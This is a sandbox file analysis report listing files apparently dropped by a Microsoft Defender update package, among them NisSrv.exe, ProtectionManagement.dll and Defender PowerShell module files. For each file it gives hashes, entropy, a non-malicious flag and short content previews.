                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\NisSrv.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):2855512
                                                            Entropy (8bit):6.440503543687848
                                                            Encrypted:false
                                                            SSDEEP:49152:JwgA1BydF9JuPAdoZ6Ig1hUcN2DARtfp+Q4s+W8:JqTi7cW
                                                            MD5:054F919445EDBC999989A1413FD87437
                                                            SHA1:597196C3A4C1CDC1DB5F1A0C39C37CB6C4FC1FB1
                                                            SHA-256:A124EBD9240AAA542962CB2A1059B6315E9F2183CBFD08B4E8029EE15B6A009F
                                                            SHA-512:38C530ABE67F12EEE0A6734CE51FCC24C0CD81AAFD232137A41E221B79FEE9BA07253DA7F50EBEE0E9BFF0FEBCC547C1CCFAE4AE7B222A13B8DC9A3097E2ED50
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h.C............C|......C|.......{.......{.......{.......q;..............{.......{U.............C|..i...C|W.....C|......Rich............................PE..d....\k..........."......0#..........]!........@............................. ,.......+...`...................................................(.,.....+.H....`*..P....+.X.....+..0.. .$.p...................h.#.(...0.#.8.............#.0....|(......................text...?'#......0#................. ..`.rdata...i...@#..p...@#.............@..@.data...@.....(.......(.............@....pdata...P...`*..`...P).............@..@.didat........+.......*.............@....rsrc...H.....+.......*.............@..@.reloc...0....+..@....*.............@..B................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\Defender.psd1
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):13827
                                                            Entropy (8bit):5.952601509916055
                                                            Encrypted:false
                                                            SSDEEP:384:6B7YQ0ExG5Ju4mSFCsCow7+xPcgGywK85lbkn+uwgGhF887:4YQ0Ec5Ju4mweozx0gGyu5Sn+uDuF8c
                                                            MD5:9346D71D826DC7B6580C6206FD1A272E
                                                            SHA1:21B45677AE39E36928CC1DE58958350CF7B49FE7
                                                            SHA-256:EE3344F2D9FE64E0593B1DCE5FC4743D4891DAA6528A0650C41ED0D3F455D48E
                                                            SHA-512:FD976F99CF3B47D6D9E17CEEBF5322C2F9583FA0F9D65E3C6D5144926911861DA3B4E57BD4E72CF3DBF7826BE5B5EF107BAEEB0C1DDF433BE4020B91D03467C9
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: @{.. GUID = 'C46BE3DC-30A9-452F-A5FD-4BF9CA87A854'.. Author="Microsoft Corporation".. CompanyName="Microsoft Corporation".. Copyright="Copyright (C) Microsoft Corporation. All rights reserved.".. ModuleVersion = '1.0'.. NestedModules = @( 'MSFT_MpComputerStatus.cdxml',.. 'MSFT_MpPreference.cdxml',.. 'MSFT_MpThreat.cdxml',.. 'MSFT_MpThreatCatalog.cdxml',.. 'MSFT_MpThreatDetection.cdxml',.. 'MSFT_MpScan.cdxml',.. 'MSFT_MpSignature.cdxml',.. 'MSFT_MpWDOScan.cdxml',.. 'MSFT_MpPerformanceRecording.psm1'.. ).... FormatsToProcess = @('MSFT_MpPerformanceReport.Format.ps1xml').... FunctionsToExport = @( 'Get-MpPreference',.. 'Set-MpPreference',.. 'Add-MpPreference',.. 'Remove-MpPreference',..
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpComputerStatus.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):13946
                                                            Entropy (8bit):5.978353470104296
                                                            Encrypted:false
                                                            SSDEEP:384:PX0m6YBOzHQV80tQEFMxOQhCLyTmSKXElIOhalPvnAQEYhW:v0m6YQzHY80tQpOQYLy6SKkIZFvnAQhU
                                                            MD5:58DF8D38469AF7353B672A6F145994DC
                                                            SHA1:DDC641F88A0B3452366CB920306CC3A90961A3C0
                                                            SHA-256:A63B944CF4FB3DB7F758F7E4D94126ABE99916127E451E0C139D71E94744084A
                                                            SHA-512:67B82A79DB97641976C942C448DF9D99317FF5CDC0BE3A1DB1CCA04C3BB8CE3832238E031D22E06CAE4E8ADD3BAB88CEEE29613680C8F33F197599D786334295
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpComputerStatus">.. <Version>1.0</Version>.. <DefaultNoun>MpComputerStatus</DefaultNoun>.... <InstanceCmdlets>.. <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">.. .. </GetCmdletParameters>.. </InstanceCmdlets> .. </Class>.. ..</PowerShellMetadata>........ SIG # Begin signature block -->.. MIIhZwYJKoZIhvcNAQcCoIIhWDCCIVQCAQExDzANBglghkgBZQMEAgEFADB5Bgor -->.. BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG -->.. KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EF -->.. DodK5brTAqlkaVHav/M+SkqGWqFKKqCCC14wggTrMIID06ADAgECAhMzAAAIMJFU -->.. sm0DDuykAAAAAAgwMA0GCSqGSIb3DQEBCwUAMHkxCzAJBgNVBAYTAlVTMRMwEQYD -->.. VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy -->.. b3NvZnQgQ29y
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRecording.psm1
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):39934
                                                            Entropy (8bit):5.64362105596826
                                                            Encrypted:false
                                                            SSDEEP:768:yFAwQAuFiCFivo1BWMmr8OGPDKQxV3LqIYQ0Ec5Ju4mweS0+dgGyTi5Sn+UuHA:y14cC4vo1BWMmr8OGPDKQxV3LqY/fSKR
                                                            MD5:CBA32A98D0EC2D6CCCD3306BFF7AD3D2
                                                            SHA1:D8F98682DC20E7AD744DE5208C0A472FCB3A33C9
                                                            SHA-256:B77C1F9B9263345F34FE32EED15BD8E3925D378CAEF5D83FEB49275447BCCED6
                                                            SHA-512:9426238394A6043D1A16E1CDEDA953DBD5C6DF8C7D2DBA3A3F34C3E5F963927A1C9791869E4ACE96F670921827E95D9BAF30544D558C521BD01C0E5AC7CB6F61
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: ## Copyright (c) Microsoft Corporation. All rights reserved.....<#...SYNOPSIS..This cmdlet collects a performance recording of Microsoft Defender Antivirus..scans......DESCRIPTION..This cmdlet collects a performance recording of Microsoft Defender Antivirus..scans. These performance recordings contain Microsoft-Antimalware-Engine..and NT kernel process events and can be analyzed after collection using the..Get-MpPerformanceReport cmdlet.....This cmdlet requires elevated administrator privileges.....The performance analyzer provides insight into problematic files that could..cause performance degradation of Microsoft Defender Antivirus. This tool is..provided "AS IS", and is not intended to provide suggestions on exclusions...Exclusions can reduce the level of protection on your endpoints. Exclusions,..if any, should be defined with caution......EXAMPLE..New-MpPerformanceRecording -RecordTo:.\Defender-scans.etl....#>..function New-MpPerformanceRecording {.. [CmdletBinding()].. par
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRecording.wprp
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text
                                                            Category:modified
                                                            Size (bytes):4971
                                                            Entropy (8bit):4.542570045638256
                                                            Encrypted:false
                                                            SSDEEP:96:aAPEP3EPGEPJuDhDEMTRBTCq6IQEPvAwWSJNLKI+EPZMhkvyXHkJi2eEPZMUkvy/:aAcPUPpPJfMTRBTr6ILPvAwW6NRPZMh2
                                                            MD5:990729AD92C1325C42B04BC975ECBD57
                                                            SHA1:1CDBE901753CCE8D933DF8D50507CE16A25AA428
                                                            SHA-256:E796454FEE4CF17EFDC25DB5FEEF00A5D7C1B335E6C4B4FE996E8AD7CAB01BC8
                                                            SHA-512:EA0BCD6122068DA9412E5195C7AA3017C187790C790197AC5AF129F3ACF6C23780169C0165627E5C55CB3B99E6931CB18A42E61701C647FF07EAF6DA2740DAEB
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8" standalone='yes'?>..<WindowsPerformanceRecorder Version="1.0" Author="Microsoft Defender for Endpoint" Team="Microsoft Defender for Endpoint" Comments="Microsoft Defender for Endpoint Scan performance tracing" Company="Microsoft Corporation" Copyright="Microsoft Corporation">. <Profiles>. System Providers -->.. <SystemProvider Id="SystemProvider_Scans_Light">. <Keywords>. <Keyword Value="CpuConfig" />. <Keyword Value="ProcessThread" />. <Keyword Value="ProcessCounter" />. </Keywords>. </SystemProvider>.. <SystemProvider Id="SystemProvider_Scans_Verbose" Base="SystemProvider_Scans_Light">. <Keywords Operation="Add">. <Keyword Value="Loader" />. <Keyword Value="SampledProfile"/>. </Keywords>. <Stacks>. <Stack Value="SampledProfile"/>. </Stacks>. </Syste
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceReport.Format.ps1xml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):61966
                                                            Entropy (8bit):4.530280013007693
                                                            Encrypted:false
                                                            SSDEEP:768:Bw2C10m6YQzHY80tQcd02cYVWVc80Bv/C:Bw2CTVtZk
                                                            MD5:C9734A297293CCE204D369DD392EDDC9
                                                            SHA1:83C091027F5BE029364DBB6C9D32BB294BC6579A
                                                            SHA-256:CDF89F9602942969AE0493769EAC7DAA8022A1E8295D49403F1206615F92071A
                                                            SHA-512:C474FB8F33E56DE45CB481CF921C9C21019F7610A35405BF16736A8A9C51901E750427E73271580FD1D169271DEB24A4BF1DFF130B76F26870EB4A5BE6201A7F
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="utf-8"?>..<Configuration>.. <ViewDefinitions>.. <View>.. <Name>default</Name>.. <ViewSelectedBy>.. <TypeName>MpPerformanceReport.Result</TypeName>.. <TypeName>Deserialized.MpPerformanceReport.Result</TypeName>.. </ViewSelectedBy>.. <CustomControl>.. <CustomEntries>.. <CustomEntry>.. <CustomItem>.. <ExpressionBinding>.. <PropertyName>TopFiles</PropertyName>.. <ItemSelectionCondition>.. <ScriptBlock>($_ | gm -Name:'TopFiles' -MemberType:NoteProperty).Count -gt 0</ScriptBlock>.. </ItemSelectionCondition>.. <CustomControl>.. <CustomEntries>.. <CustomEntry>.. <CustomItem>.. <NewLine />.. <Text>TopFiles</Text>.. <NewLine />.. <Text>========</Text>..
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPreference.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):112029
                                                            Entropy (8bit):4.059259917659887
                                                            Encrypted:false
                                                            SSDEEP:768:5ouSOD2TIBNoNejxo98U0m6YQzHY80tQ4TQWjL+6SNSIZFvnAStOp:5pSODnBNUejx3mVt1LBuA7
                                                            MD5:710B025F9E1944FDB020F27389A2E8B3
                                                            SHA1:C8CB55361A6F483CD6B464C5364ED091AFE46DD3
                                                            SHA-256:AA9021CFDC42493E2A759BAD0159001FFB12110FF83CD16021E57570E6402805
                                                            SHA-512:C01AD9EB3B6394192E69F3C14A9BB5B266F04213B687D754E41D8DA080F2BFD3333ED970A4EBC04E0B657ECF7DBA8D7C44F2AC99857DA5A0A25E05FE3A79329E
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="root\Microsoft\Windows\Defender\MSFT_MpPreference" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpPreference</DefaultNoun>.. <InstanceCmdlets>.. <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">.. </GetCmdletParameters>.. </InstanceCmdlets>.... <StaticCmdlets>.. <Cmdlet>.. <CmdletMetadata Verb="Set" />.. <Method MethodName="Set">.. <ReturnValue>.. <Type PSType="System.Int32" />.. <CmdletOutputMetadata>.. <ErrorCode />.. </CmdletOutputMetadata>.. </ReturnValue>.. <Parameters>.. <Parameter ParameterName="ExclusionPath">..
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpScan.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):15262
                                                            Entropy (8bit):5.965807864910325
                                                            Encrypted:false
                                                            SSDEEP:384:7DORD5N4I0m6YBOzHQV80tQEFl3uN+HzbycVZ1gX5BRpBbpm39B4:K0m6YQzHY80tQpNWfgBHBo39B4
                                                            MD5:7528936578CAEAEFE7B398C8EF4E0A47
                                                            SHA1:9BBABA934E9C442A4630233D3BE04A4D4333E352
                                                            SHA-256:A51C86EFD506A132274C37E288B9B697BC865F14D6D6451DA7399C7B5F36751F
                                                            SHA-512:13D7B389428D07A7D33CBC0276919A601C686CF4A0E99059AF1D81AC0784EE61DFC5354E80D3D6E2B6E801769968980B828ACC5DC1885E6CBE73A2941D3823AC
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpScan" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpScan</DefaultNoun>.. <StaticCmdlets>.. <Cmdlet>.. <CmdletMetadata Verb="Start" />.. <Method MethodName="Start">.. <ReturnValue>.. <Type PSType="System.Int32" />.. <CmdletOutputMetadata>.. <ErrorCode />.. </CmdletOutputMetadata>.. </ReturnValue>.. <Parameters>.. <Parameter ParameterName="ScanPath">.. <Type PSType="System.String" />.. <CmdletParameterMetadata>.. <ValidateNotNull />.. <ValidateNotNullOrEmpty />.. </CmdletParameterMetadata>.. </Parameter>.. <Parameter ParameterName="ScanType">.. <Type PSType="MpScan.ScanType
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpSignature.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):15262
                                                            Entropy (8bit):5.966711820105084
                                                            Encrypted:false
                                                            SSDEEP:384:E6D5YR4l0m6YBOzHQV80tQEFekIqeYQXCSPmTmSI4ElIOhalPvnAS/M0b5hsPDG:B0m6YQzHY80tQjqeYQSSO6SmIZFvnASn
                                                            MD5:A212A25B0FA39ACB5D3F02E1CC622730
                                                            SHA1:77846568863D3AEF5453AEF81C4302DD3F7C87BB
                                                            SHA-256:6A8DC2AA231D974A36E0EC86751139873226D6157232EDB63AFB2AEB110CD8F5
                                                            SHA-512:EBE171D29147429ABD182BE10174FE498EECA6D91D8DB8D9A55511E37C6E42F797A1D80892D95A61A116BCFB73DB99CEB0CC2B3365F0506ABF555E6FE80B7503
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpSignature" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpSignature</DefaultNoun>.. <StaticCmdlets>.. <Cmdlet>.. <CmdletMetadata Verb="Update" />.. <Method MethodName="Update">.. <ReturnValue>.. <Type PSType="System.Int32" />.. <CmdletOutputMetadata>.. <ErrorCode />.. </CmdletOutputMetadata>.. </ReturnValue>.. <Parameters>.. <Parameter ParameterName="UpdateSource">.. <Type PSType="MpSignature.UpdateSource" />.. <CmdletParameterMetadata>.. <AllowEmptyString />.. <AllowNull />.. <ValidateNotNull />.. <ValidateNotNullOrEmpty />.. <ValidateSet>.. <AllowedValue>In
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreat.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):14872
                                                            Entropy (8bit):5.9567543836192955
                                                            Encrypted:false
                                                            SSDEEP:384:T50m6YBOzHQV80tQEFlS+yB+HzbycVZ1gX5BRpBbpmUBv/:l0m6YQzHY80tQUaWfgBHBoUBv/
                                                            MD5:CF0F8A1D51777BDD9D08FEB023A2162A
                                                            SHA1:47066E1FEB3C61779CC76CB52BE02148FC149CDF
                                                            SHA-256:CFFD2BA2255685803B32ADE8D2D238A07AAEB8071EA04BCBB75CE0EF61FE9AE7
                                                            SHA-512:B49A361319B5EA816C1FABB831C6B43C761427D7913D18E2D94AB4FE181A89394B5ADE044C1E9672FAF7B4B15D73F305CB0A8CFD8965348AD292DFD2257D99A8
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpThreat" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpThreat</DefaultNoun>.. <InstanceCmdlets>.. <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">.. <QueryableProperties>.. <Property PropertyName="ThreatID">.. <Type PSType="int64" />.. <RegularQuery>.. <CmdletParameterMetadata IsMandatory="false" Aliases="ID".. CmdletParameterSets="ById" />.. </RegularQuery>.. </Property>.. </QueryableProperties>.. </GetCmdletParameters>.. </InstanceCmdlets>.. <StaticCmdlets>.. <Cmdlet>.. <CmdletMetadata Verb="Remov
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreatCatalog.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):14359
                                                            Entropy (8bit):5.974349558252268
                                                            Encrypted:false
                                                            SSDEEP:384:K0m6YBOzHQV80tQEFtVSderomWQfUCzuMKqbeUs:K0m6YQzHY80tQaS6omlfUCqMKqVs
                                                            MD5:125B977FF0EE6A36452A2B6FD5AE2316
                                                            SHA1:0C76D5588B36B5A9BFA5F2E3DD64CEA80FB1930D
                                                            SHA-256:7856F35EB7FB72BBF8CAAAC05FD99CEE139F694209BCFBCA41AEB4C3B4CD2413
                                                            SHA-512:9B9E246807F2890B9530197C5EFC8B236C2E11D2B616BE3E6DC813E9F8984197759A77AC73B8D8AF5FF9C13CBB370980B6DDC768281C4E38FF51CACF0D2E2B27
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpThreatCatalog" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpThreatCatalog</DefaultNoun>.. <InstanceCmdlets>.. <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">.. <QueryableProperties>.. <Property PropertyName="ThreatID">.. <Type PSType="int64" />.. <RegularQuery>.. <CmdletParameterMetadata IsMandatory="false" Aliases="ID".. CmdletParameterSets="ById" />.. </RegularQuery>.. </Property>.. </QueryableProperties>.. </GetCmdletParameters>.. </InstanceCmdlets>.. </Class>..</PowerShellMetadata>.. SIG # Begin signature block -->.. MIIhXAYJKoZIhvcNAQcCoI
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreatDetection.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):14398
                                                            Entropy (8bit):5.977177438588654
                                                            Encrypted:false
                                                            SSDEEP:384:M0m6YBOzHQV80tQEFubg1+/pjK02JsuVRqikVcqgyOTx0vz:M0m6YQzHY80tQt3/M02JVWVcqHSxY
                                                            MD5:7C91EEB90EFFB9A8D11DF34FA04FB359
                                                            SHA1:BDFD38D168DBD76C7EC1045B8C15AFD1D6905C74
                                                            SHA-256:97DF56A7933A45143233D314EA947801BF0A475D55A9D852FB411FFD98CB4123
                                                            SHA-512:141BF2F83BE8728B1480469830AD0B7BD3F2E32A1EDF58EA528C26576E0E4BB5510F64B994D6A4C337EB537CB40AC78D3329637184D844BAFF0FC88CA24CF865
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpThreatDetection" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpThreatDetection</DefaultNoun>.. <InstanceCmdlets>.. <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">.. <QueryableProperties>.. <Property PropertyName="ThreatID">.. <Type PSType="int64" />.. <RegularQuery>.. <CmdletParameterMetadata IsMandatory="false" Aliases="ID".. CmdletParameterSets="ById" />.. </RegularQuery>.. </Property>.. </QueryableProperties>.. </GetCmdletParameters>.. </InstanceCmdlets>.. </Class>..</PowerShellMetadata>.. SIG # Begin signature block -->.. MIIhdwYJKoZIhvcNAQcCoIIhaDCCIW
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpWDOScan.cdxml
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):14145
                                                            Entropy (8bit):5.978998016086098
                                                            Encrypted:false
                                                            SSDEEP:384:LQ0m6YBOzHQV80tQEFl7Qxh34tSZogX5BRpB6WdGtf/P:80m6YQzHY80tQgQx+t6BHBddGtfH
                                                            MD5:0DB7196D0224FBCE614AD6ACA63F8F17
                                                            SHA1:943B7A55F6E584C9BE421871FD4C9E21A0F326EB
                                                            SHA-256:2D87A0FE031420903AE69DB3A30011DC659B489E2B11AA4129FED01ED3F0B00B
                                                            SHA-512:7F9400BDD7DE5F576F6F776F2C0166EB46A68A0040078993574B8226056E419B9C74B738000AFCEC2CFCDD0A5C5CCE3A822DE19E23FEDD63DF47F85755BA1777
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: .<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">.. <Class ClassName="ROOT\Microsoft\Windows\Defender\MSFT_MpWDOScan" ClassVersion="1.0">.. <Version>1.0</Version>.. <DefaultNoun>MpWDOScan</DefaultNoun>.. <StaticCmdlets>.. <Cmdlet>.. <CmdletMetadata Verb="Start" />.. <Method MethodName="Start">.. <ReturnValue>.. <Type PSType="System.Int32" />.. <CmdletOutputMetadata>.. <ErrorCode />.. </CmdletOutputMetadata>.. </ReturnValue> .. </Method>.. </Cmdlet>.. </StaticCmdlets>.. </Class> ..</PowerShellMetadata>.. SIG # Begin signature block -->.. MIIhXgYJKoZIhvcNAQcCoIIhTzCCIUsCAQExDzANBglghkgBZQMEAgEFADB5Bgor -->.. BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG -->.. KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCBzAXdbBfjvkCEN -->.. qK7Ym3r0lwef2vQhN9zidTDdkf
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):725240
                                                            Entropy (8bit):6.056118316914494
                                                            Encrypted:false
                                                            SSDEEP:12288:UqjFjzbVd9Y5TFXnu5aHOf/gehVtN41D3mRy46WegMZ2:XjzbV7Y5BUlN4t2Ry6Ug
                                                            MD5:0F9485E242400DC47A9FCA73A3443120
                                                            SHA1:1BD457062BE7B37EAA252C238A9B3BF4EFFF0485
                                                            SHA-256:8DA908D6AD4F307D6AAF8CFB1A9C27B3F3A285F84B1F3C817F50D7B154DC575F
                                                            SHA-512:B2A83A997985CC7FC5D07705E49BCC96BD9E0382CD4BB722C4EBBA3B35EE793C6507DA94AF23B276CB0808FEB7233A37A7F72CCF5974AE607186831AA5EE5C10
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................V...........V.....V.....V..J................%..........Rich...........PE..d...O.5..........." .....`.........................................................U<....`A..........................................................X....P...O....... .......F..<...p.......................(.......8...................t........................text...UX.......`.................. ..`.rdata..vI...p...P...p..............@..@.data...T........p..................@....pdata...O...P...P...0..............@..@.didat..............................@....rsrc...X...........................@..@.reloc...F.......P..................@..B................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.mof
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:C source, Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
                                                            Category:dropped
                                                            Size (bytes):91754
                                                            Entropy (8bit):3.59234124916807
                                                            Encrypted:false
                                                            SSDEEP:768:lv7JczQMzhFbvZbY6qyZ+v7JczQMzhFbvZbY6qyZg:RMhWyUMhWya
                                                            MD5:D9619BB89523F47C88DC5FC8BEA50BA0
                                                            SHA1:279098ECBF269FC91585A8D0F7F5A1C72AD2101D
                                                            SHA-256:3ECDCEF5A04C90CA1EB296F3AE4F1C5BC96C371E84BE927C25FA64D6C74C34AF
                                                            SHA-512:F110C9824D5CA8718A4EDA5968DC7DEA7B1C88A498CA2F7706D873D3B6C87FACF8E2ABE7BA20BEF033B8D0322E790C3B0F8CE288166635AE11857B367B9BB9F7
                                                            Malicious:false
                                                            Reputation:unknown
